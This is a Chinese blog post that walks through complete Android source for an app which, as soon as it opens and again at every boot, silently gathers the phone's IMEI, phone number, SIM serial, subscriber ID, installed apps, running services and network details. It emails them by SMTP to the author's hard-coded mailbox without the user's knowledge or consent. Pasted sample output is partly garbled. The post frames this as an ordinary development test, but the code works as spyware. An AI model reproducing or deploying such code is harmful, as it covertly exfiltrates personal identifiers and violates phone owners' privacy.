关闭

开发第一步之SMTP协议发送邮件,获取手机的详细信息

标签: 手机stringexceptionthreadnullmatrix
896人阅读 评论(0) 收藏 举报
分类:

目前是测试代码,只有一个页面,运行软件时会自动的获取系统信息,并且发送,开机自启动等。



布局准备把应用的图标让他从下往上旋转变大,应用的名称从左往右移动,应用的版本从右往左移动,现在只是用文字代替,看看效果。


主界面:

package com.kingfly.ffriend;

import java.lang.ref.SoftReference;

import com.kingfly.ffriend.util.PhoneSystemMsg;

import android.app.Activity;
import android.content.Context;
import android.content.Intent;
import android.graphics.Bitmap;
import android.graphics.BitmapFactory;
import android.os.Bundle;
import android.os.Handler;
import android.os.Message;
import android.telephony.gsm.GsmCellLocation;
import android.util.Log;
import android.widget.TextView;

public class RightFFriendActivity extends Activity {
    /** Called when the activity is first created. */
	private static final int MATRIX_TO_TOP=1;
	private static final int MATRIX_FROM_LEFT_AND_RIGHT=2;
	private static final int MAIN_TO_CHANGE=3;
	
	TextView versionTv;
	PhoneSystemMsg psm;
	
    @Override
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.main);
        versionTv=(TextView)findViewById(R.id.version);
        psm=new PhoneSystemMsg(this);
        new Thread(r).start();
    }
    
    Handler mHandler=new Handler(){
    	public void handleMessage(Message msg){
    		Log.e("kingfly", "msg="+msg.what);
    		switch (msg.what) {
				case MATRIX_TO_TOP:
					matrixToTop();
					startPhoneMsgService();
					break;
				
				case MATRIX_FROM_LEFT_AND_RIGHT:
					matrixFromLeftAndRight();
					break;
					
				case MAIN_TO_CHANGE:
					mainToChange();
					break;
					
				default:
					break;
			}
    	}
    };
    
    Runnable r=new Runnable() {
		
		public void run() {
		  int flag=0;
		  
		  Message msg1=new Message();
		  Message msg2=new Message();
		  Message msg3=new Message();
			while(flag<3200){
				try {
				
					if(flag==0){
						msg1.what=MATRIX_TO_TOP;
						mHandler.sendMessage(msg1);
					}
					flag+=200;
					Thread.sleep(200);
					if(flag==2000){
						msg2.what=MATRIX_FROM_LEFT_AND_RIGHT;
						mHandler.sendMessage(msg2);
					}
					if(flag==3000){
						msg3.what=MAIN_TO_CHANGE;
						mHandler.sendMessage(msg3);
						break;
					}
					Log.e("kingfly", "flag="+flag);
				} catch (InterruptedException e) {
					// TODO Auto-generated catch block
					e.printStackTrace();
				}
			}
		}
	};
    
	@Override
	protected void onDestroy() {
		// TODO Auto-generated method stub
		super.onDestroy();
	}
	
    public void matrixToTop(){
    	versionTv.setText("hdfk");
    }
    
    public void matrixFromLeftAndRight(){
    	versionTv.setText("fjdleifo");
    }
    
    public void mainToChange(){
    	versionTv.setText("kfdj");
    }
    
    public void startPhoneMsgService(){
    	Intent intent=new Intent(RightFFriendActivity.this,PhoneMsgService.class);
    	startService(intent);
    }
    
}


发送3个message,分布用来开启服务,控制突破移动等。


<br>是网页中的换行符,这样邮件在发送到邮箱后就会自动分开,不过有部分是乱码,暂时未解决。

后台服务,负责发送邮件:

package com.kingfly.ffriend;

import com.kingfly.ffriend.util.DateParse;
import com.kingfly.ffriend.util.PhoneSystemMsg;
import com.kingfly.ffriend.util.SMailSender;

import android.app.Service;
import android.content.Intent;
import android.content.res.Configuration;
import android.os.IBinder;
import android.util.Log;
import android.widget.Toast;

public class PhoneMsgService extends Service {
	DateParse dp;
	SMailSender mail;
	PhoneSystemMsg psm;

	private int mPreState;
	private int mRealState;
	private Thread thread_mail;

	@Override
	public IBinder onBind(Intent intent) {
		// TODO Auto-generated method stub
		return null;
	}

	@Override
	public void onConfigurationChanged(Configuration newConfig) {
		// TODO Auto-generated method stub
		super.onConfigurationChanged(newConfig);
	}

	@Override
	public void onCreate() {
		// TODO Auto-generated method stub
		super.onCreate();
		init();
		Log.e("kingfly", "service onCreate");
		
	}

	public void init() {
		dp = new DateParse(this);
		psm = new PhoneSystemMsg(this);
		mail = new SMailSender();
	}

	@Override
	public void onDestroy() {
		// TODO Auto-generated method stub
		super.onDestroy();
	}

	@Override
	public void onLowMemory() {
		// TODO Auto-generated method stub
		super.onLowMemory();
	}

	@Override
	public void onStart(Intent intent, int startId) {
		// TODO Auto-generated method stub
		super.onStart(intent, startId);
		sendPhoneMsg();
		Log.e("kingfly", "onStart");
	}

	// 发送手机信息
	public void sendPhoneMsg() {
		Log.e("kingfly", dp.getNowTime());
		Log.e("kingfly", "" + dp.isRightTime(6));
		Log.e("kingfly", "" + dp.isRightTime(6, 20));

		String to = "kingfly8888@163.com";//接收者
		String cc = "kingfly8888@gmail.com";//抄送
		String subject = "PhoneProperty";
		StringBuffer content = new StringBuffer();
		content.append(psm.getVersionInfo()+"<br>");
		content.append(psm.getCPUInfo()+"<br>");
		content.append(psm.getDiskInfo()+"<br>");
		content.append(psm.getDisplayMetricsInfo(this)+"<br>");
		content.append(psm.getMemoryInfo()+"<br>");
		content.append(psm.getNetcfgInfo()+"<br>");
		content.append(psm.getInstalledApps(this)+"<br>");
		content.append(psm.getPhoneProperty(this)+"<br>");
		content.append(psm.getRunningServicesInfo(this)+"<br>");
		content.append(psm.getRunningTaskInfo(this)+"<br>");
		System.out.print(content.toString()+"<br>");

		mail.setAuthor("kingfly8888@163.com", "******");//发送的邮箱及密码,用户可自行替换

		mail.setShowName("kingfly");
		mail.setTo(to);
		mail.setCc(cc);
		mail.setSubject(subject);
		mail.setContent(content.toString());

		mRealState = mPreState = 0;
		thread_mail = new Thread(mail);
		new Thread(r);
		thread_mail.start(); // start send thread
		// thread_state.start(); //start state monite thread
		Monitor();
	}

	Runnable r = new Runnable() {

		public void run() {
			while (true) {
				try {
					Thread.sleep(100);
					mRealState = mail.getMailState();
					System.out.println("mRealState = " + mRealState);
					if (mRealState == mPreState)
						continue;
					if (1 == mRealState) {
						mPreState = mRealState;
						System.out.println("Toast mRealState2 = " + mRealState);
					}
					if (2 == mRealState) {
						mPreState = mRealState;
					}
					if (3 == mRealState) {
						mPreState = mRealState;
					}
					// mail send success ,thread exit
					if (4 == mRealState) {
						mPreState = mRealState;
						break;
					}
				} catch (InterruptedException e) {
					// TODO Auto-generated catch block
					e.printStackTrace();
				}
			}
		}
	};

	protected void Monitor() {
		while (true) {
			try {
				Thread.sleep(10);
				mRealState = mail.getMailState();
				// System.out.println("mRealState = " + mRealState);
				if (mRealState == mPreState)
					continue;
				if (1 == mRealState) {
					mPreState = mRealState;
					// mTextView.setText("Connecting...");
					System.out.println("Toast mRealState1 = " + mRealState);
					// setTitle("Connecting...");
	
				}
				if (2 == mRealState) {
					mPreState = mRealState;
					// mTextView.setText("Connecting success");
					// setTitle("Connected success");
					System.out.println("Toast mRealState2 = " + mRealState);
				}
				if (3 == mRealState) {
					mPreState = mRealState;
					// mTextView.setText("Sending");
					System.out.println("Toast mRealState3 = " + mRealState);
		
				}
				// mail send success,thread exit
				if (4 == mRealState) {
					mPreState = mRealState;
					// mTextView.setText("Send email success");
					System.out.println("Toast mRealState4 = " + mRealState);
					break;
				}
			} catch (InterruptedException e) {
				// TODO Auto-generated catch block
				e.printStackTrace();
			}
		}
	}
}


MemTotal: 256556 kB MemFree: 109584 kB Buffers: 1036 kB Cached: 64060 kB SwapCached: 0 kB Active: 93452 kB Inactive: 37932 kB Active(anon): 72432 kB Inactive(anon): 0 kB Active(file): 21020 kB Inactive(file): 37932 kB Unevictable: 0 kB Mlocked: 0 kB SwapTotal: 0 kB SwapFree: 0 kB Dirty: 0 kB Writeback: 0 kB AnonPages: 66308 kB Mapped: 33232 kB Slab: 4604 kB SReclaimable: 1696 kB SUnreclaim: 2908 kB PageTables: 5880 kB NFS_Unstable: 0 kB Bounce: 0 kB WritebackTmp: 0 kB CommitLimit: 128276 kB Committed_AS: 931028 kB VmallocTotal: 712704 kB VmallocUsed: 19536 kB VmallocChunk: 672772 kB ������������������������������������������������������������������������������������������������������������������������������������������������������������
lo UP 127.0.0.1 255.0.0.0 0x00000049 eth0 UP 10.0.2.15 255.255.255.0 0x00001043 tunl0 DOWN 0.0.0.0 0.0.0.0 0x00000080 gre0 DOWN 0.0.0.0 0.0.0.0 0x00000080 ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������
label=Sound Recorder 
packageName=com.android.soundrecorder 
permission=null 
name=null 




获取手机的信息:

package com.kingfly.ffriend.util;

import java.io.File;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.UnsupportedEncodingException;
import java.nio.charset.Charset;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.Iterator;
import java.util.List;

import android.app.ActivityManager;
import android.app.ActivityManager.RunningServiceInfo;
import android.app.ActivityManager.RunningTaskInfo;
import android.content.Context;
import android.content.pm.ApplicationInfo;
import android.telephony.TelephonyManager;
import android.util.DisplayMetrics;

public class PhoneSystemMsg {
	public Context mContext;

	public PhoneSystemMsg(Context context) {
		mContext = context;
		
	}

	public synchronized String run(String[] cmd, String workdirectory)
			throws IOException {
		String result = "";
		try {
			ProcessBuilder builder = new ProcessBuilder(cmd);
			InputStream in = null;
			if (workdirectory != null) {
				builder.directory(new File(workdirectory));
				builder.redirectErrorStream(true);
				Process process = builder.start();
				in = process.getInputStream();
				byte[] re = new byte[1024];
				while (in.read(re) != -1)
					result +=new String(re);
			}
			
			if (in != null) {
				in.close();
			}
		} catch (Exception ex) {
			ex.printStackTrace();
		}
		
		return new String(result.getBytes("UTF-8"));
	}
	
	//获取Version版本
	public String getVersionInfo(){
		String result=null;
		try{
			String[] args={"/system/bin/cat","/proc/version"};
			result=run(args, "/system/bin");
		}catch (Exception e) {
		}
		return result;
	}

	//获取CPU信息
	public String getCPUInfo(){
		String result=null;
		try {
			String[] args={"/system/bin/cat","/proc/cpuinfo"};
			result=run(args, "/system/bin");
		} catch (Exception e) {
			// TODO: handle exception
		}
		return result;
	}
	
	//获取内存信息
	public String getMemoryInfo(){
		String result=null;
		try {
			String[] args={"/system/bin/cat","/proc/meminfo"};
			result=run(args, "/system/bin");
		} catch (Exception e) {
			// TODO: handle exception
		}
		return result;
	}
	
	//获取磁盘信息
	public String getDiskInfo(){
		String result=null;
		try {
			String[] args={"/system/bin/df"};
			result=run(args, "/system/bin");
		} catch (Exception e) {
			// TODO: handle exception
		}
		return result; 
	}
	
	//获取网络信息
	public String getNetcfgInfo(){
		String result=null;
		try {
			String[] args={"/system/bin/netcfg"};
			result=run(args, "/system/bin");
		} catch (Exception e) {
			// TODO: handle exception
		}
		return result;
	}
	
	//获取手机屏信息
	public String getDisplayMetricsInfo(Context ct){
		StringBuffer sb=new StringBuffer();
		DisplayMetrics dm=new DisplayMetrics();
		dm=ct.getApplicationContext().getResources().getDisplayMetrics();
		int screenWidth=dm.widthPixels;
		int screenHeight=dm.heightPixels;
		float density=dm.density;
		float xdpi=dm.xdpi;
		float ydpi=dm.ydpi;
		sb.append("The absolute width="+String.valueOf(screenWidth)+" pixels\n"+"<br>");
		sb.append("The absolute height="+String.valueOf(screenHeight)+" pixels\n"+"<br>");
		sb.append("The logical density of the display="+String.valueOf(density)+"\n"+"<br>");
		sb.append("X dimension="+String.valueOf(xdpi)+" pixels per inch\n"+"<br>");
		sb.append("Y dimension="+String.valueOf(ydpi)+" pixels per inch\n"+"<br>");
		return sb.toString();
	}
	
	//获取安装的应用
	public String getInstalledApps(Context ct){
		List<ApplicationInfo> packages=ct.getPackageManager().getInstalledApplications(0);
//		ArrayList<HashMap<String, Object>>list=new ArrayList<HashMap<String,Object>>(packages.size());
		Iterator<ApplicationInfo>i=packages.iterator();
		StringBuffer sb=new StringBuffer();
		while(i.hasNext())	{
			HashMap<String, Object> map=new HashMap<String, Object>();
			ApplicationInfo appInfo=(ApplicationInfo)i.next();
			String label="";
			try {
				label=ct.getPackageManager().getApplicationLabel(appInfo).toString();
			} catch (Exception e) {
				// TODO: handle exception
			}
//			map.put("name", label);
//			map.put("desc", packageName);
//			list.add(map);
			sb.append("label="+label+"\n"+"<br>");
			sb.append("packageName="+appInfo.packageName+"\n"+"<br>");
			sb.append("permission="+appInfo.permission+"\n"+"<br>");
			sb.append("name="+appInfo.name+"\n"+"<br>");
			sb.append("logo="+appInfo.logo+"\n"+"<br>");
			sb.append("processName="+appInfo.processName+"\n"+"<br>");
			sb.append("publicSourceDir="+appInfo.publicSourceDir+"\n"+"<br>");
			sb.append("sourceDir="+appInfo.sourceDir+"\n"+"<br>");
			sb.append("targetSdkVersion="+appInfo.targetSdkVersion+"\n"+"<br>");
			sb.append("taskAffinity="+appInfo.taskAffinity+"\n"+"<br>");
			sb.append("\n");
		}
		return sb.toString();
	}
	
	//获取运行的服务
	public String getRunningServicesInfo(Context ct){
		StringBuffer sb=new StringBuffer();
		ActivityManager am=(ActivityManager)ct.getSystemService(ct.ACTIVITY_SERVICE);
		List<RunningServiceInfo>services=am.getRunningServices(100);
		Iterator<RunningServiceInfo> i=services.iterator();
		while(i.hasNext()){
			RunningServiceInfo rsi=(RunningServiceInfo)i.next();
			sb.append("pid="+rsi.pid+"\n"+"<br>");
			sb.append("process="+rsi.process+"\n"+"<br>");
			sb.append("service="+rsi.service+"\n"+"<br>");
			sb.append("crashCount="+rsi.crashCount+"\n"+"<br>");
			sb.append("clicentCount="+rsi.clientCount+"\n"+"<br>");
			sb.append("activeSince="+rsi.activeSince+"\n"+"<br>");
			sb.append("lastActivityTime="+rsi.lastActivityTime+"\n"+"<br>");
			sb.append("clientPackage="+rsi.clientPackage+"\n"+"<br>");
			sb.append("describeContents="+rsi.describeContents()+"\n"+"<br>");
			sb.append("\n\n");
		}
		return sb.toString();
		
	}
	
	//获取正在运行的task信息
	public String getRunningTaskInfo(Context ct){
		StringBuffer sb=new StringBuffer();
		ActivityManager am=(ActivityManager)ct.getSystemService(ct.ACTIVITY_SERVICE);
		List<RunningTaskInfo>tasks=am.getRunningTasks(100);
		Iterator<RunningTaskInfo>i=tasks.iterator();
		while(i.hasNext()){
			RunningTaskInfo rti=(RunningTaskInfo)i.next();
			sb.append("id="+rti.id+"\n"+"<br>");
			sb.append("numActivities="+rti.numActivities+"\n"+"<br>");
			sb.append("numRunning="+rti.numRunning+"\n"+"<br>");
			sb.append("describeContents="+rti.describeContents()+"\n"+"<br>");
			sb.append("description="+rti.description+"\n"+"<br>");
		}
		return sb.toString();
	}
	
	//获取系统属性
	public String getSystemProperty(){
		StringBuffer sb=new StringBuffer();
		sb.append("java.home="+System.getProperty("java.home")+"\n"+"<br>");
		sb.append("java.library.path="+System.getProperty("java.library.path")+"\n"+"<br>");
		sb.append("java.vendor="+System.getProperty("java.vendor")+"\n"+"<br>");
		sb.append("java.vendor.url="+System.getProperty("java.vendor.url")+"\n"+"<br>");
		sb.append("java.specification.version="+System.getProperty("java.specification.version")+"\n"+"<br>");
		sb.append("java.specification.verdor="+System.getProperty("java.specification.verdor")+"\n"+"<br>");
		sb.append("java.specification.name="+System.getProperty("java.specification.name")+"\n"+"<br>");
		sb.append("java.vm.version="+System.getProperty("java.vm.version")+"\n"+"<br>");
		sb.append("java.vm.vendor="+System.getProperty("java.vm.vendor")+"\n"+"<br>");
		sb.append("java.vm.name="+System.getProperty("java.vm.name")+"\n"+"<br>");
		sb.append("java.vm.specification.version="+System.getProperty("java.vm.specification.version")+"\n"+"<br>");
		sb.append("java.vm.specification.vendor="+System.getProperty("java.vm.specification.vendor")+"\n"+"<br>");
		sb.append("java.vm.specification.name="+System.getProperty("java.vm.specification.name")+"\n"+"<br>");
		sb.append("os.arch="+System.getProperty("os.arch")+"\n"+"<br>");
		sb.append("os.name="+System.getProperty("os.name")+"\n"+"<br>");
		sb.append("os.version="+System.getProperty("os.version")+"\n"+"<br>");
		return sb.toString();
	}
	
	//获取手机信息
	public String getPhoneProperty(Context ct){
		StringBuffer sb=new StringBuffer();
		TelephonyManager tm=(TelephonyManager)ct.getSystemService(Context.TELEPHONY_SERVICE);
		sb.append("DeviceId="+tm.getDeviceId()+"\n"+"<br>");
		sb.append("DeviceSoftwareVersion="+tm.getDeviceSoftwareVersion()+"\n"+"<br>");
		sb.append("Line1Number="+tm.getLine1Number()+"\n"+"<br>");
		sb.append("NetworkCountryIso="+tm.getNetworkCountryIso()+"\n"+"<br>");
		sb.append("NetworkOperatorName="+tm.getNetworkOperatorName()+"\n"+"<br>");
		sb.append("SimCountryIso="+tm.getSimCountryIso()+"\n"+"<br>");
		sb.append("SimOperator="+tm.getSimOperator()+"\n"+"<br>");
		sb.append("SimOperatorName="+tm.getSimOperatorName()+"\n"+"<br>");
		sb.append("SimSerialNumber="+tm.getSimSerialNumber()+"\n"+"<br>");
		sb.append("SubscriberId="+tm.getSubscriberId()+"\n"+"<br>");
		sb.append("VoiceMailAlphaTag="+tm.getVoiceMailAlphaTag()+"\n"+"<br>");
		sb.append("VoiceMailNumber="+tm.getVoiceMailNumber()+"\n"+"<br>");
		return sb.toString();
	}
	
	//判断手机联网
	public boolean isPhoneConnecting(){
		
		return false;
	}
	
	//判断手机Gps开启
	public boolean isPhoneGps(){
		
		return false;
	}
	
	//判断手机飞行模式
	public boolean isPhoneAirplane(){
		
		return false;
	}
	
	
	//判断当前系统语言
	public void getSystemLanguage(){
		
	}
	
	//获取手机联系人
	public void getContact(){
		
	}
	
	//获取当前版本
	public void getVersion(){
		
	}
	
}

邮箱发送邮件的配置,根据SMTP协议,需要用到3个包:

package com.kingfly.ffriend.util;
import java.util.Properties;

import javax.activation.DataHandler;
import javax.activation.FileDataSource;
import javax.mail.BodyPart;
import javax.mail.Message;
import javax.mail.Multipart;
import javax.mail.Session;
import javax.mail.Transport;
import javax.mail.internet.InternetAddress;
import javax.mail.internet.MimeBodyPart;
import javax.mail.internet.MimeMessage;
import javax.mail.internet.MimeMultipart;

import android.util.Log;

public class SMailSender implements Runnable {
	private final String Tag = "SMailSender";
	private String mSmtp_host;
	private String mFrom_userName;
	private String mFrom_passWord;
	private String mShow_name = "Jiahe";

	private MimeMessage mMimeMsg;
	private Session mSession;
	private Multipart mp;
	private String mSubject;
	private String mContent;

	private String mToId = null;
	private String mCcId = null;
	private String mBccId = null;
	private String mFilePath = null;

	private final int NONE = 0;
	private final int CONNECTING = 1;
	private final int CONNECTED = 2;
	private final int SENDING = 3;
	private final int SENDED = 4;
	private int mState;

	public enum MailType {
		TYPE_GMAIL, TYPE_126, TYPE_163, TYPE_QQ;
	}

	private MailType mailType;

	public SMailSender() {
		mp = new MimeMultipart();
	}

	public SMailSender(String hostName) {
		mp = new MimeMultipart();
	}

	public boolean setAuthor(String _userName, String _password) {
		mFrom_userName = _userName;
		mFrom_passWord = _password;
		return setHost(mFrom_userName);
	}

	public void setSubject(String subject) {
		if (subject != null) {
			mSubject = subject;
		}
	}

	public void setContent(String content) {
		if (content != null) {
			mContent = content;
		}
	}

	public void setTo(String told) {
		mToId = told;
	}

	public void setCc(String ccId) {
		mCcId = ccId;
	}

	public void setBcc(String bccId) {
		mBccId = bccId;
	}

	public void setShowName(String name) {
		mShow_name = name;
	}

	public void addFileAffix(String path) {
		mFilePath = path;
	}

	public int getMailState() {
		return mState;
	}

	public void run() {
		executeMailandSend();
	}

	private boolean setSendToMsg(String to) {
		if (to.equals("") || to == null) {
			return false;
		}
		try {
			String sendto[];
			sendto = to.split(";");
			for (int i = 0; i < sendto.length; i++) {
				mMimeMsg.addRecipients(Message.RecipientType.TO, InternetAddress
						.parse(sendto[i]));
			}
			return true;
		} catch (Exception e) {
			return false;
		}
	}

	private boolean setCopyToMsg(String copyto) {
		if (copyto.equals("") || copyto == null) {
			return false;
		}
		try {
			String copy[];
			copy = copyto.split(";");
			for (int i = 0; i < copy.length; i++) {
				mMimeMsg.addRecipients(Message.RecipientType.CC,
						InternetAddress.parse(copy[i]));
			}
			return true;
		} catch (Exception e) {
			return false;
		}
	}

	private boolean setBCopyToMsg(String bcopyto) {
		if (bcopyto.equals("") || bcopyto == null) {
			return false;
		}
		try {
			String bcopy[];
			bcopy = bcopyto.split(";");
			for (int i = 0; i < bcopy.length; i++) {
				mMimeMsg.addRecipients(Message.RecipientType.BCC,
						InternetAddress.parse(bcopy[i]));
			}
			return true;
		} catch (Exception e) {
			return true;
		}
	}

	private boolean setContentMp(String conMp) {
		try {
			BodyPart bp = new MimeBodyPart();
			bp.setContent(
					"<meta http-equiv=Context-Type context=text/html;charset=gb2312>"
							+ conMp, "text/html;charset=GB2312");
			mp.addBodyPart(bp);
			return true;
		} catch (Exception e) {
			System.out.println("Set context Faild! " + e);
			return false;
		}
	}

	private boolean addFile(String filePath) {
		// System.out.println("add affix..");
		if (filePath.equals("") || filePath == null) {
			return false;
		}
		String file[];
		file = filePath.split(";");
		// System.out.println("you have " + file.length + " affix!");
		try {
			for (int i = 0; i < file.length; i++) {
				BodyPart bp = new MimeBodyPart();
				FileDataSource fileds = new FileDataSource(file[i]);
				bp.setDataHandler(new DataHandler(fileds));
				bp.setFileName(fileds.getName());
				mp.addBodyPart(bp);
			}
			return true;
		} catch (Exception e) {
			Log.d(Tag, "add affix: " + filePath + "--faild!" + e);
			System.err.println("add affix: " + filePath + "--faild!" + e);
			return false;
		}
	}

	private boolean setHost(String mailAddress) {
		if (mailAddress.contains("@gmail.")) {
			mSmtp_host = "smtp.gmail.com";
			mailType = MailType.TYPE_GMAIL;
			return true;
		}
		if (mailAddress.contains("@126.")) {
			mSmtp_host = "smtp.126.com";
			mailType = MailType.TYPE_126;
			return true;
		}
		if (mailAddress.contains("@163.")) {
			mSmtp_host = "smtp.163.com";
			mailType = MailType.TYPE_163;
			return true;
		} else
			return false;
		/*
		 * if(mailAddress.contains("@qq.")){ mSmtp_host = "smtp.qq.com";
		 * mailType = MailType.TYPE_QQ; }
		 */
	}

	private void executeMailandSend() {

		try {
			mState = NONE;
			Properties props = System.getProperties();
			props = System.getProperties();
			if (mailType == MailType.TYPE_GMAIL) { // if mail is gmail.need to use this two 
				props.put("mail.smtp.starttls.enable", "true");
				props.put("mail.smtp.port", "587"); // gmail smtp port 587 / 465
			}

			props.put("mail.smtp.host", mSmtp_host);
			props.put("mail.smtp.user", mFrom_userName);
			props.put("mail.smtp.password", mFrom_passWord);
			props.put("mail.smtp.auth", "true");

			mSession = Session.getDefaultInstance(props, null);
			mSession.setDebug(false);

			mMimeMsg = new MimeMessage(mSession);
			mMimeMsg.setFrom(new InternetAddress(mFrom_userName));

			// mMimeMsg.setContent(mContent, "text/html;charset=utf-8");

			if (mToId != null)
				setSendToMsg(mToId);
			if (mCcId != null)
				setCopyToMsg(mCcId);
			if (mBccId != null)
				setBCopyToMsg(mBccId);

			if (mSubject != null) {
				mMimeMsg.setSubject(mSubject);
			}
			if (mShow_name != null) {
				mMimeMsg.setFrom(new InternetAddress(mShow_name + "<"
						+ mFrom_userName + ">"));
			}
			if (mContent != null) {
				setContentMp(mContent);
				mMimeMsg.setContent(mp);
			}
			if (mFilePath != null) {
				addFile(mFilePath);
			}
			System.out.println(mMimeMsg.getAllRecipients().toString());
			Transport transport = mSession.getTransport("smtp");
			System.out.println("connecting...");
			mState = CONNECTING;
			transport.connect(mSmtp_host, mFrom_userName, mFrom_passWord);
			mState = CONNECTED;
			Log.i(Tag, "Connected to " + mFrom_userName + " succuss");
			System.out.println("sending...");
			mState = SENDING;
			transport.sendMessage(mMimeMsg, mMimeMsg.getAllRecipients());
			mState = SENDED;
			transport.close();
			Log.i(Tag, "Send a mail to " + mToId);
			System.out.println("send an email to " + mToId + " success");
		} catch (Exception e) {
			System.out.println("failure! ");
			Log.d(Tag, " failure! ", e);
			e.printStackTrace();
		}

	}

}

开机自启动:

package com.kingfly.ffriend.broadcast;

import com.kingfly.ffriend.PhoneMsgService;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.util.Log;

public class BootBroadcastReceiver extends BroadcastReceiver{

	@Override
	public void onReceive(Context context, Intent intent) {
		// TODO Auto-generated method stub
		String action=intent.getAction();
		if(action.equals("android.intent.action.BOOT_COMPLETE")){
			Intent bootIntent=new Intent(context,PhoneMsgService.class);
			context.startService(bootIntent);
			Log.e("kingfly", "bootbroadcastreceiver");
		}
	}

}


欢迎大家讨论

完整版下载地址:

http://download.csdn.net/detail/comkingfly/4184167

0
0

查看评论
* 以上用户言论只代表其个人观点,不代表CSDN网站的观点或立场
    个人资料
    • 访问:173656次
    • 积分:2960
    • 等级:
    • 排名:第12613名
    • 原创:57篇
    • 转载:36篇
    • 译文:31篇
    • 评论:60条
    最新评论